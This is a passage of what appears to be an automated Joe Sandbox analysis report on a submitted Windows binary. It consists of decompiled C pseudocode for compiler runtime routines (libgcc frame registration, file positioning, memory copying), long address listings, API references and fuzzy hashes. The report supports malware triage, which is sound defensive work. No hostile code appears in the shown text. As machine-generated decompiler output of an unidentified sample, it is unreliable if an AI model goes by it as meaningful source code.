					_v40 = "__deregister_frame_info";
					 *_t212 = _t197;
					 *0x4ce004 = GetProcAddress(??, ??);
					_t209 = _t212 - 8;
				}
				if(_t202 != 0) {
					_v40 = 0x55601c;
					 *_t209 = 0x5190f8;
					 *_t202();
				}
				 *_t209 = 0x401590;
				return E004014C0();
				goto L141;
			}

0x0043a185
0x0043a185
0x0043a185
0x0043a185
0x0043a18c
0x00000000
0x00000000
0x0043a192
0x0043a192
0x0043a195
0x0043a198
0x0043a19c
0x0043a1a0
0x0043a1a4
0x0043a1a6
0x00439d74
0x00439d74
0x00439d78
0x00000000
0x00000000
0x00439d30
0x00439d30
0x00439d33
0x00439d36
0x00439d39
0x00439d3e
0x0043a1f9
0x0043a1f9
0x00000000
0x00439d44
0x00439d44
0x00439d44
0x00439d47
0x00000000
0x00439d50
0x00439d50
0x00439d54
0x00439d57
0x00439d57
0x00000000
0x00000000
0x00000000
0x00000000
0x00439de0
0x00439de0
0x00439de4
0x00439de6
0x00000000
0x00439dec
0x00439dec
0x00439dec
0x00439dee
0x00439df1
0x00439df5
0x00439df8
0x0043a299
0x0043a299
0x0043a29b
0x00439dfe
0x00439dfe
0x00439dfe
0x0043a200
0x0043a200
0x0043a203
0x0043a210
0x0043a210
0x0043a213
0x00000000
0x0043a215
0x0043a215
0x0043a215
0x0043a217
0x0043a219
0x0043a21c
0x0043a21e
0x0043a21e
0x0043a205
0x0043a205
0x0043a205
0x0043a207
0x0043a207
0x00439e04
0x00439e04
0x00439e04
0x00439e07
0x0043a230
0x0043a230
0x0043a232
0x0043a232
0x0043a234
0x0043a234
0x0043a234
0x0043a237
0x0043a23d
0x0043a240
0x0043a242
0x0043a245
0x0043a247
0x0043a247
0x0043a24b
0x0043a24d
0x00439e0d
0x00439e0d
0x00439e0d
0x00439e10
0x0043a1f0
0x0043a1f0
0x0043a1f3
0x0043a290
0x0043a290
0x0043a292
0x00000000
0x00000000
0x00000000
0x00439e16
0x00439e16
0x00439e16
0x00439e1a
0x00439e1d
0x00439e1f
0x0043a371
0x0043a371
0x0043a374
0x00439e25
0x00439e25
0x00439e25
0x0043a274
0x0043a274
0x0043a276
0x00000000
0x0043a27c
0x0043a27c
0x0043a27c
0x0043a27f
0x0043a27f
0x00439e2b
0x00439e2b
0x00439e2b
0x00439e2d
0x00439e37
0x00439e37
0x00439e39
0x00439e2f
0x00439e2f
0x00439e2f
0x00439e31
0x00000000
0x00000000
0x00000000
0x00000000
0x00439e31
0x00439e2d
0x00439e25
0x00439e1f
0x00439e10
0x00439e07
0x00439dfe
0x00000000
0x00439df8
0x00000000
0x00000000
0x00439dd0
0x00439dd0
0x00439dd4
0x00439dd8
0x00000000
0x00000000
0x00439dc0
0x00439dc0
0x00439dc4
0x00439dc8
0x00000000
0x00000000
0x00439db2
0x00439db2
0x00439db6
0x00439dba
0x00000000
0x00000000
0x00439da5
0x00439da5
0x00439da9
0x00439dad
0x00000000
0x00000000
0x00439d95
0x00439d95
0x00439d98
0x00439d9c
0x00000000
0x00000000
0x0043a053
0x0043a053
0x0043a055
0x0043a057
0x0043a057
0x0043a060
0x0043a060
0x0043a060
0x0043a063
0x0043a069
0x0043a06c
0x0043a06e
0x0043a071
0x0043a073
0x0043a073
0x0043a077
0x00000000
0x00000000
0x0043a010
0x0043a010
0x0043a012
0x0043a012
0x0043a014
0x0043a014
0x0043a014
0x0043a017
0x0043a01d
0x0043a020
0x0043a022
0x0043a025
0x0043a027
0x0043a027
0x0043a02b
0x0043a02e
0x00000000
0x0043a034
0x0043a034
0x0043a034
0x0043a034
0x0043a037
0x00000000
0x0043a03d
0x0043a03d
0x0043a03d
0x0043a042
0x0043a046
0x0043a04a
0x0043a04c
0x0043a04c
0x0043a037
0x00000000
0x00000000
0x00439ff0
0x00439ff0
0x00439ff4
0x00439ff6
0x00000000
0x00439ffc
0x00439ffc
0x00439ffc
0x0043a000
0x00000000
0x0043a000
0x00000000
0x00000000
0x00439fd0
0x00439fd0
0x00439fd4
0x00439fd6
0x00000000
0x00439fdc
0x00439fdc
0x00439fdc
0x00439fdf
0x00439fe1
0x00000000
0x00439fe1
0x00000000
0x00000000
0x00439fb3
0x00439fb3
0x00439fb7
0x00439fba
0x00000000
0x00439fc0
0x00439fc0
0x00439fc0
0x00439fc4
0x00000000
0x00439fc4
0x00000000
0x00000000
0x00439f90
0x00439f90
0x00439f94
0x00439f98
0x00439f9b
0x00439f9e
0x00439fa0
0x00000000
0x00439fa6
0x00439fa6
0x00439fa6
0x00439fa8
0x00439faa
0x00000000
0x00439faa
0x00000000
0x00000000
0x00000000
0x00000000
0x0043a150
0x0043a150
0x0043a154
0x0043a157
0x00000000
0x0043a15d
0x0043a15d
0x0043a15d
0x0043a160
0x0043a163
0x0043a166
0x0043a16a
0x0043a16e
0x0043a172
0x0043a176
0x0043a17a
0x0043a17e
0x00000000
0x0043a17e
0x00000000
0x00000000
0x0043a1b0
0x0043a1b0
0x0043a1b4
0x0043a1b7
0x00000000
0x0043a1bd
0x0043a1bd
0x0043a1bd
0x0043a1c0
0x0043a1c3
0x0043a1c7
0x0043a1cb
0x0043a1ce
0x00000000
0x0043a1d0
0x0043a1d0
0x0043a1d0
0x0043a1d3
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043a1d3
0x00000000
0x0043a1ce
0x00000000
0x00000000
0x0043a100
0x0043a100
0x0043a104
0x0043a106
0x00000000
0x0043a10c
0x0043a10c
0x0043a10c
0x0043a10f
0x0043a111
0x0043a115
0x0043a118
0x0043a11c
0x0043a11e
0x0043a225
0x0043a124
0x0043a124
0x0043a128
0x0043a128
0x00000000
0x0043a11e
0x00000000
0x00000000
0x0043a140
0x0043a140
0x0043a144
0x00000000
0x00000000
0x0043a130
0x0043a130
0x0043a133
0x0043a137
0x00000000
0x00000000
0x00439f50
0x00439f50
0x00439f53
0x00439f56
0x00000000
0x00439f5c
0x00439f5c
0x00439f5c
0x00439f60
0x00439f67
0x00439f6a
0x00439f6e
0x00439f7b
0x00439f7b
0x00439f7e
0x00000000
0x00439f84
0x00439f84
0x00000000
0x00439f84
0x00439f70
0x00439f70
0x00439f70
0x00439f75
0x00000000
0x00000000
0x00000000
0x00000000
0x00439f75
0x00439f6e
0x00000000
0x00000000
0x00439ed0
0x00439ed0
0x00439ed2
0x00439ed2
0x00439ed4
0x00439ee0
0x00439ee0
0x00439ee0
0x00439ee3
0x00439ee9
0x00439eec
0x00439eee
0x00439ef1
0x00439ef3
0x00439ef3
0x00439ef7
0x00439ef9
0x00439efb
0x00439efd
0x00439f00
0x00439f02
0x00439f02
0x00439f05
0x0043a269
0x0043a26b
0x0043a26d
0x0043a26d
0x00439f05
0x00439f0b
0x00439f0e
0x00439f11
0x00000000
0x00439f17
0x00439f17
0x00439f17
0x00439f1b
0x00439f22
0x00439f25
0x00439f29
0x00439f32
0x00439f32
0x00439f35
0x00000000
0x00439f3b
0x00439f3b
0x00439f3b
0x00000000
0x00439f3b
0x00439f2b
0x00439f2b
0x00439f2b
0x00439f30
0x00439f3d
0x00439f3d
0x00439f3f
0x00439f41
0x00000000
0x00000000
0x00000000
0x00000000
0x00439f30
0x00439f29
0x00000000
0x00000000
0x00439e71
0x00439e71
0x00439e73
0x00439e73
0x00439e75
0x00439e75
0x00439e75
0x00439e78
0x00439e7e
0x00439e81
0x00439e83
0x00439e86
0x00439e88
0x00439e88
0x00439e8c
0x00439e8f
0x00000000
0x00439e95
0x00439e95
0x00439e95
0x00439e99
0x00439ea0
0x00439ea3
0x00439ea7
0x00439eb4
0x00439eb4
0x00439eb6
0x00000000
0x00439ebc
0x00439ebc
0x00439ebc
0x00439ebe
0x00439ec2
0x00000000
0x00439ec2
0x00439ea9
0x00439ea9
0x00439ea9
0x00439eae
0x0043a1e0
0x0043a1e0
0x0043a1e4
0x00000000
0x00000000
0x00000000
0x00000000
0x00439eae
0x00439ea7
0x00000000
0x00000000
0x0043a080
0x0043a080
0x0043a082
0x0043a082
0x0043a084
0x0043a084
0x0043a084
0x0043a087
0x0043a08d
0x0043a090
0x0043a092
0x0043a095
0x0043a097
0x0043a097
0x0043a09b
0x0043a09d
0x0043a09d
0x0043a0a0
0x0043a0a0
0x0043a0a0
0x0043a0a3
0x0043a0a9
0x0043a0ac
0x0043a0ae
0x0043a0b1
0x0043a0b3
0x0043a0b3
0x0043a0b7
0x0043a0ba
0x0043a0bc
0x0043a0be
0x0043a259
0x0043a25b
0x0043a25d
0x0043a25d
0x0043a0be
0x0043a0c4
0x0043a0c7
0x00000000
0x0043a0cd
0x0043a0cd
0x0043a0cd
0x0043a0d1
0x0043a0d8
0x0043a0db
0x0043a0df
0x0043a0e8
0x0043a0e8
0x0043a0eb
0x00000000
0x0043a0f1
0x0043a0f1
0x0043a0f1
0x00000000
0x0043a0f1
0x0043a0e1
0x0043a0e1
0x0043a0e1
0x0043a0e6
0x0043a0f3
0x0043a0f3
0x0043a0f5
0x0043a0f9
0x00000000
0x00000000
0x00000000
0x00000000
0x0043a0e6
0x0043a0df
0x00000000
0x00000000
0x00439da1
0x00439da1
0x00000000
0x00000000
0x00439e40
0x00439e40
0x00439e44
0x00439e48
0x00439e4c
0x00439e4e
0x00439e53
0x00439e56
0x00439e59
0x00439e5b
0x00439e5d
0x00439e62
0x00439e66
0x00439e6a
0x00000000
0x00000000
0x0043a2a2
0x0043a2a2
0x0043a2a4
0x00000000
0x00000000
0x0043a2ab
0x0043a2ab
0x0043a2ad
0x0043a2af
0x0043a2b0
0x0043a2b0
0x0043a2b0
0x0043a2b2
0x00000000
0x00000000
0x0043a2b9
0x0043a2b9
0x0043a2bb
0x00000000
0x00000000
0x0043a2c2
0x0043a2c2
0x0043a2c4
0x0043a2c6
0x0043a2c8
0x0043a2c8
0x0043a2c8
0x0043a2ca
0x00000000
0x00000000
0x0043a2d1
0x0043a2d1
0x0043a2d4
0x00000000
0x00000000
0x0043a2db
0x0043a2db
0x0043a2dd
0x00000000
0x00000000
0x0043a2e4
0x0043a2e4
0x0043a2e6
0x00000000
0x00000000
0x0043a2ed
0x0043a2ed
0x0043a2ef
0x00000000
0x00000000
0x0043a2f6
0x0043a2f6
0x0043a2f8
0x00000000
0x00000000
0x0043a2ff
0x0043a2ff
0x0043a301
0x00000000
0x00000000
0x0043a308
0x0043a308
0x0043a30a
0x00000000
0x00000000
0x0043a311
0x0043a311
0x0043a313
0x0043a315
0x0043a317
0x0043a31a
0x00000000
0x00000000
0x0043a321
0x0043a321
0x0043a323
0x0043a325
0x0043a327
0x0043a32a
0x00000000
0x00000000
0x0043a331
0x0043a331
0x0043a333
0x0043a335
0x0043a337
0x0043a33a
0x00000000
0x00000000
0x0043a341
0x0043a341
0x0043a343
0x0043a345
0x0043a347
0x0043a34a
0x00000000
0x00000000
0x0043a351
0x0043a351
0x0043a353
0x0043a355
0x0043a357
0x0043a35a
0x00000000
0x00000000
0x0043a361
0x0043a361
0x0043a363
0x0043a365
0x0043a367
0x0043a36a
0x00439d60
0x00439d60
0x00439d63
0x00000000
0x00439d69
0x00439d69
0x00439d69
0x00439d6c
0x00439d70
0x00000000
0x00439d70
0x00000000
0x00000000
0x00439d47
0x00000000
0x00439d3e
0x00439d7a
0x00439d7a
0x00439d80
0x00000000
0x00439d86
0x00439d86
0x00439d86
0x00439d8a
0x00439d90
0x00439d91
0x00439d94
0x00439d94
0x00000000
0x00439d80
0x004c5e66
0x004c5e66
0x004c5e6b
0x004c5e70
0x004c5e75
0x004c5e7a
0x004c5e7f
0x004c5e84
0x004c5e89
0x004c5e8e
0x004c5e93
0x004c5e98
0x004c5ea0
0x004c5ea5
0x004c5eaa
0x004014e6
0x004014e9
0x004014f0
0x004014f6
0x004014fb
0x00401570
0x0040157a
0x004014fd
0x004014fd
0x004014ff
0x00401506
0x00401512
0x00401515
0x0040151a
0x00401522
0x00401525
0x00401527
0x0040152a
0x0040152c
0x00401534
0x00401539
0x0040153e
0x0040153e
0x00401543
0x00401545
0x0040154d
0x00401554
0x00401554
0x00401556
0x00401569
0x00000000

APIs

abort.MSVCRT ref: 004C5E66
abort.MSVCRT ref: 004C5E6B
abort.MSVCRT ref: 004C5E70
abort.MSVCRT(0043AF3B), ref: 004C5E75
abort.MSVCRT(0043AF3B), ref: 004C5E7A
abort.MSVCRT(0043AF3B), ref: 004C5E7F
abort.MSVCRT(0043AF3B), ref: 004C5E84
abort.MSVCRT(0043AF3B), ref: 004C5E89
abort.MSVCRT(0043AF3B), ref: 004C5E8E
abort.MSVCRT(0043AF3B), ref: 004C5E93
abort.MSVCRT(0043AF3B), ref: 004C5E98
abort.MSVCRT(?,?,00000000,?,00000000,74714D40,0043CC69), ref: 004C5EA0
abort.MSVCRT(?,?,00000000,?,00000000,74714D40,0043CC69), ref: 004C5EA5
abort.MSVCRT(?,?,00000000,?,00000000,74714D40,0043CC69), ref: 004C5EAA

Memory Dump Source

Source File: 00000000.00000002.325206113.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.325202525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325279647.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325283907.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325305227.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325309531.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325320855.0000000000519000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325724075.0000000000557000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325902856.000000000055A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325908726.000000000055B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_hy4iXHZVJ4.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: b292f7fd7af4540266d65a238eaaaff0afc560a994a50cbd85ce2e1af8d7d324
Instruction ID: a36c2092a45ee520ec8f00420535eafe438a96f67cf1213c3b520062899b8c5b
Opcode Fuzzy Hash: b292f7fd7af4540266d65a238eaaaff0afc560a994a50cbd85ce2e1af8d7d324
Instruction Fuzzy Hash: 30E0863056D7228BD351FF5DA18902DF7A6FAC6314F152D6EE580B3305CB35E8014A2B

Uniqueness

Uniqueness Score: -1.00%

Function 0043A660 Relevance: 18.1, APIs: 12, Instructions: 83
COMMON

Download Yara Rule

C-Code - Quality: 45%

			E0043A660(void* __eax, void* __ecx, void* __edx) {
				char _v0;
				void* _v16;
				signed int _v60;
				intOrPtr _v68;
				long _v72;
				char _v220;
				char _v224;
				char* _v292;
				intOrPtr __ebx;
				signed int __edi;
				intOrPtr __esi;
				char __ebp;
				struct HINSTANCE__* _t28;
				struct HINSTANCE__* _t31;
				_Unknown_base(*)()* _t32;
				CHAR* _t35;
				struct HINSTANCE__* _t37;
				void* _t43;
				void* _t44;
				void* _t46;
				_Unknown_base(*)()* _t47;
				void* _t48;
				void* _t50;
				void* _t52;
				char** _t53;
				char** _t54;
				struct HINSTANCE__** _t56;
				struct HINSTANCE__** _t57;

				_t48 = __edx;
				_t46 = __ecx;
				_t35 = __eax;
				_t43 = __eax;
				memset(__eax, 0, 0x20 << 2);
				_t52 = _t50 - 0xec + 0xc;
				_t44 = _t43 + 0x20;
				_t35[0x60] = 0x40000000;
				_t3 =  &_v220; // 0x3f
				_t35[0x4c] = _v0;
				if(L004396E0(_t35, _t3) != 0) {
					L21:
					abort();
					L004476B0();
					L004476B0();
					L004476B0();
					L004476B0();
					L004476B0();
					abort();
					abort();
					abort();
					abort();
					abort();
					abort();
					_push(_t48);
					_push(_t44);
					_push(_t46);
					_t53 = _t52 - 0x1c;
					 *_t53 = "libgcc_s_dw2-1.dll";
					_t28 = GetModuleHandleA(_t35);
					_t54 = _t53 - 4;
					if(_t28 == 0) {
						 *0x4ce004 = 0x43c7d0;
						_t47 = E0043C580;
					} else {
						_t37 = _t28;
						 *_t54 = "libgcc_s_dw2-1.dll";
						_t31 = LoadLibraryA(??);
						_t56 = _t54 - 4;
						 *0x556df0 = _t31;
						_v292 = "__register_frame_info";
						 *_t56 = _t37;
						_t32 = GetProcAddress(??, ??);
						_t57 = _t56 - 8;
						_t47 = _t32;
						_v292 = "__deregister_frame_info";
						 *_t57 = _t37;
						 *0x4ce004 = GetProcAddress(??, ??);
						_t54 = _t57 - 8;
					}
					if(_t47 != 0) {
						_v292 = 0x55601c;
						 *_t54 = 0x5190f8;
						 *_t47();
					}
					 *_t54 = 0x401590;
					return E004014C0();
				} else {
					__edi =  *0x500634; // 0x2
					__eflags = __edi;
					if(__edi == 0) {
						__eflags =  *0x5563f4;
						if( *0x5563f4 == 0) {
							 *0x5563f4 = 4;
							 *0x5563f6 = 4;
							 *0x5563f5 = 4;
							 *0x5563f7 = 4;
							 *0x5563fa = 4;
							 *0x5563fb = 4;
							 *0x5563f9 = 4;
							 *0x5563f8 = 4;
							 *0x5563ff = 0xc;
							 *0x556400 = 0xc;
							 *0x556401 = 0xc;
							 *0x556402 = 0xc;
							 *0x556403 = 0xc;
							 *0x556404 = 0xc;
							 *0x5563fd = 4;
							 *0x5563fc = 4;
						}
					} else {
						__ecx =  *0x500638; // 0x0
						__eflags = __ecx;
						if(__eflags == 0) {
							asm("lock add dword [0x50063c], 0x1");
							if(__eflags == 0) {
								 *0x5563f4 = 4;
								 *0x5563f6 = 4;
								 *0x5563f5 = 4;
								 *0x5563f7 = 4;
								 *0x5563fa = 4;
								 *0x5563fb = 4;
								 *0x5563f9 = 4;
								 *0x5563f8 = 4;
								 *0x5563ff = 0xc;
								 *0x556400 = 0xc;
								 *0x556401 = 0xc;
								 *0x556402 = 0xc;
								 *0x556403 = 0xc;
								 *0x556404 = 0xc;
								 *0x5563fd = 4;
								 *0x5563fc = 4;
								 *0x500638 = 1;
							} else {
								__edx =  *0x500638;
								__edi = Sleep;
								__eflags =  *0x500638;
								while( *0x500638 == 0) {
									Sleep(0) =  *0x500638;
									__esp = __esp - 4;
									__eflags =  *0x500638;
								}
							}
						}
					}
					__eflags =  *0x5563f8 - 4;
					if( *0x5563f8 != 4) {
						goto L21;
					} else {
						_v224 = __ebp;
						__eflags =  *(__ebx + 0x63) & 0x00000040;
						if(( *(__ebx + 0x63) & 0x00000040) != 0) {
							 *((char*)(__ebx + 0x70)) = 0;
						}
						_t15 =  &_v224; // 0x3b
						__eax = _t15;
						_t16 =  &_v220; // 0x3f
						__edx = _t16;
						_v60 = 1;
						 *((intOrPtr*)(__ebx + 0x10)) = _t15;
						__eax = __ebx;
						_v68 = 4;
						_v72 = 0;
						__eax = L0043A380(__ebx, __ebx, _t16, __edi, __esi, __ebp);
						 *((intOrPtr*)(__ebx + 0x4c)) = __esi;
						__esp = __esp + 0xec;
						_pop(__ebx);
						return __eax;
					}
				}
			}

0x0043a661
0x0043a665
0x0043a66d
0x0043a671
0x0043a679
0x0043a679
0x0043a679
0x0043a67b
0x0043a682
0x0043a68d
0x0043a699
0x004c5e70
0x004c5e70
0x004c5e75
0x004c5e7a
0x004c5e7f
0x004c5e84
0x004c5e89
0x004c5e8e
0x004c5e93
0x004c5e98
0x004c5ea0
0x004c5ea5
0x004c5eaa
0x004014e0
0x004014e3
0x004014e4
0x004014e6
0x004014e9
0x004014f0
0x004014f6
0x004014fb
0x00401570
0x0040157a
0x004014fd
0x004014fd
0x004014ff
0x00401506
0x00401512
0x00401515
0x0040151a
0x00401522
0x00401525
0x00401527
0x0040152a
0x0040152c
0x00401534
0x00401539
0x0040153e
0x0040153e
0x00401543
0x00401545
0x0040154d
0x00401554
0x00401554
0x00401556
0x00401569
0x0043a69f
0x0043a69f
0x0043a6a5
0x0043a6a7
0x0043a713
0x0043a71a
0x0043a71c
0x0043a723
0x0043a72a
0x0043a731
0x0043a738
0x0043a73f
0x0043a746
0x0043a74d
0x0043a754
0x0043a75b
0x0043a762
0x0043a769
0x0043a770
0x0043a777
0x0043a77e
0x0043a785
0x0043a785
0x0043a6a9
0x0043a6a9
0x0043a6af
0x0043a6b1
0x0043a791
0x0043a799
0x0043a7d0
0x0043a7d7
0x0043a7de
0x0043a7e5
0x0043a7ec
0x0043a7f3
0x0043a7fa
0x0043a801
0x0043a808
0x0043a80f
0x0043a816
0x0043a81d
0x0043a824
0x0043a82b
0x0043a832
0x0043a839
0x0043a840
0x0043a79b
0x0043a79b
0x0043a7a1
0x0043a7a7
0x0043a7a9
0x0043a7b9
0x0043a7be
0x0043a7c1
0x0043a7c1
0x0043a7a9
0x0043a799
0x0043a6b1
0x0043a6b7
0x0043a6be
0x00000000
0x0043a6c4
0x0043a6c4
0x0043a6c8
0x0043a6cc
0x0043a6ce
0x0043a6ce
0x0043a6d2
0x0043a6d2
0x0043a6d6
0x0043a6d6
0x0043a6da
0x0043a6e5
0x0043a6e8
0x0043a6ea
0x0043a6f5
0x0043a700
0x0043a705
0x0043a708
0x0043a70e
0x0043a712
0x0043a712
0x0043a6be

APIs

abort.MSVCRT ref: 004C5E70
abort.MSVCRT(0043AF3B), ref: 004C5E75
abort.MSVCRT(0043AF3B), ref: 004C5E7A
abort.MSVCRT(0043AF3B), ref: 004C5E7F
abort.MSVCRT(0043AF3B), ref: 004C5E84
abort.MSVCRT(0043AF3B), ref: 004C5E89
abort.MSVCRT(0043AF3B), ref: 004C5E8E
abort.MSVCRT(0043AF3B), ref: 004C5E93
abort.MSVCRT(0043AF3B), ref: 004C5E98
abort.MSVCRT(?,?,00000000,?,00000000,74714D40,0043CC69), ref: 004C5EA0
abort.MSVCRT(?,?,00000000,?,00000000,74714D40,0043CC69), ref: 004C5EA5
abort.MSVCRT(?,?,00000000,?,00000000,74714D40,0043CC69), ref: 004C5EAA

Memory Dump Source

Source File: 00000000.00000002.325206113.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.325202525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325279647.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325283907.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325305227.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325309531.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325320855.0000000000519000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325724075.0000000000557000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325902856.000000000055A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325908726.000000000055B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_hy4iXHZVJ4.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 206bc9fc960e6f7250f52fe3119a5bcc34e0c644fed3ffa5a6b65bb1cf0fb139
Instruction ID: 0d34c8bdde5c64cbd6b480673c09c7cb5c8a9676456dd7c482f66c669ac599d0
Opcode Fuzzy Hash: 206bc9fc960e6f7250f52fe3119a5bcc34e0c644fed3ffa5a6b65bb1cf0fb139
Instruction Fuzzy Hash: B331C1B01083C2CAF711CF28E894B16BFD097A6309F45496DC6944B392D3BE440CD76B

Uniqueness

Uniqueness Score: -1.00%

Function 004B0590 Relevance: 10.2, APIs: 8, Instructions: 214COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 004B0636
memcpy.MSVCRT ref: 004B065B
memmove.MSVCRT ref: 004B06AD
memmove.MSVCRT ref: 004B06E3
memcpy.MSVCRT ref: 004B072E

Memory Dump Source

Source File: 00000000.00000002.325206113.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.325202525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325279647.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325283907.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325305227.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325309531.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325320855.0000000000519000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325724075.0000000000557000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325902856.000000000055A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325908726.000000000055B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_hy4iXHZVJ4.jbxd

Similarity

API ID: memmove$memcpy
String ID:
API String ID: 3033661859-0
Opcode ID: 33dfb7b8939deeb68c03b7fcbfa9d4d371b14aa1cb7382afb2d188ca2f04e385
Instruction ID: 4d8f549990f95a8f9adb5a1304bc5d0ca575af484367023e702182d22c54871a
Opcode Fuzzy Hash: 33dfb7b8939deeb68c03b7fcbfa9d4d371b14aa1cb7382afb2d188ca2f04e385
Instruction Fuzzy Hash: BD811274A083948FC311DF28C0805AFFBE1BFC9745F14896EE4C997311D678E9859BAA

Uniqueness

Uniqueness Score: -1.00%

Function 0043E230 Relevance: 9.2, APIs: 6, Instructions: 221
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E0043E230(signed int __eax, signed int __edx, signed int _a4) {
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				intOrPtr _v64;
				signed int _v68;
				signed int _v72;
				signed int _t113;
				intOrPtr* _t116;
				intOrPtr _t122;
				signed int _t123;
				signed int _t129;
				signed int _t131;
				char* _t133;
				signed int _t135;
				void* _t139;
				void* _t140;
				signed int _t143;
				signed int _t144;
				signed int _t145;
				char* _t146;
				signed int _t147;
				signed int _t150;
				signed int _t152;
				signed int _t154;
				intOrPtr _t159;
				signed int _t163;
				signed int _t171;
				signed int _t174;
				void* _t179;
				signed int _t181;
				void* _t184;
				signed int _t186;
				signed int _t193;
				signed int _t197;
				signed int _t198;
				signed int* _t199;

				_t150 = __edx;
				_t199 =  &_v60;
				_t135 = _a4;
				L00447710();
				 *((intOrPtr*)(__eax)) = 0;
				 *_t199 = _t135;
				L004476F8();
				_t197 = __eax;
				_t113 =  *((intOrPtr*)(_t135 + 4));
				if(_t113 < 0) {
					 *((intOrPtr*)(_t135 + 4)) = 0;
				}
				_v64 = 1;
				_v72 = 0;
				_v68 = 0;
				 *_t199 = _t197;
				L004476E0();
				_v60 = _t113;
				_v56 = _t150;
				if(_t150 < 0) {
					_v60 = 0xffffffff;
					_v56 = 0xffffffff;
					goto L19;
				} else {
					_t152 =  *(_t135 + 0xc);
					if((_t152 & 0x00000108) == 0) {
						asm("cdq");
						_v60 = _v60 -  *((intOrPtr*)(_t135 + 4));
						asm("sbb [esp+0x14], edx");
						goto L19;
					} else {
						_t140 =  *_t135;
						_t116 =  *((intOrPtr*)(_t135 + 8));
						_v36 = _t116;
						_v52 = _t140 - _t116;
						if((_t152 & 0x00000003) != 0) {
							_t184 = ((_t197 & 0x0000001f) + (_t197 & 0x0000001f) * 4 << 3) +  *((intOrPtr*)(__imp____pioinfo + (_t197 >> 5) * 4));
							_t171 = _v52;
							__eflags =  *((char*)(_t184 + 4));
							_v40 = _t171;
							if( *((char*)(_t184 + 4)) < 0) {
								_t133 = _v36;
								__eflags = _t140 - _t133;
								if(_t140 <= _t133) {
									goto L6;
								} else {
									_a4 = _t135;
									_t181 = _t152;
									_t139 = _t140;
									_t163 = _t171;
									do {
										__eflags =  *_t133 - 0xa;
										_t133 = _t133 + 1;
										_t163 = _t163 + (0 | __eflags == 0x00000000);
										__eflags = _t139 - _t133;
									} while (_t139 != _t133);
									_v40 = _t163;
									_t135 = _a4;
									_t152 = _t181;
								}
							}
							goto L7;
						} else {
							if((_t152 & 0x00000080) == 0) {
								L00447710();
								_v60 = 0xffffffff;
								 *_t116 = 0x16;
								_v56 = 0xffffffff;
								goto L19;
							} else {
								L6:
								_v40 = _v52;
								L7:
								if((_v56 | _v60) == 0) {
									_v56 = 0;
									_v60 = _v40;
									return _v60;
								} else {
									_t154 = _t152 & 0x00000001;
									if(_t154 == 0) {
										_t66 =  &_v60;
										 *_t66 = _v60 + _v40;
										__eflags =  *_t66;
										asm("adc [esp+0x14], edx");
										return _v60;
									} else {
										_t122 =  *((intOrPtr*)(_t135 + 4));
										if(_t122 != 0) {
											_t123 = _t122 + _v52;
											_v48 = 0;
											_t174 = _t197 >> 5;
											_v32 = _t174;
											_t186 = _t123;
											_v36 = _t123;
											_t143 = ((_t197 & 0x0000001f) + (_t197 & 0x0000001f) * 4) * 8;
											_v52 = _v40;
											_t129 =  *(__imp____pioinfo + _t174 * 4);
											if( *((char*)(_t129 + _t143 + 4)) < 0) {
												_v64 = 2;
												_v72 = 0;
												_v68 = 0;
												 *_t199 = _t197;
												_v40 = _t143;
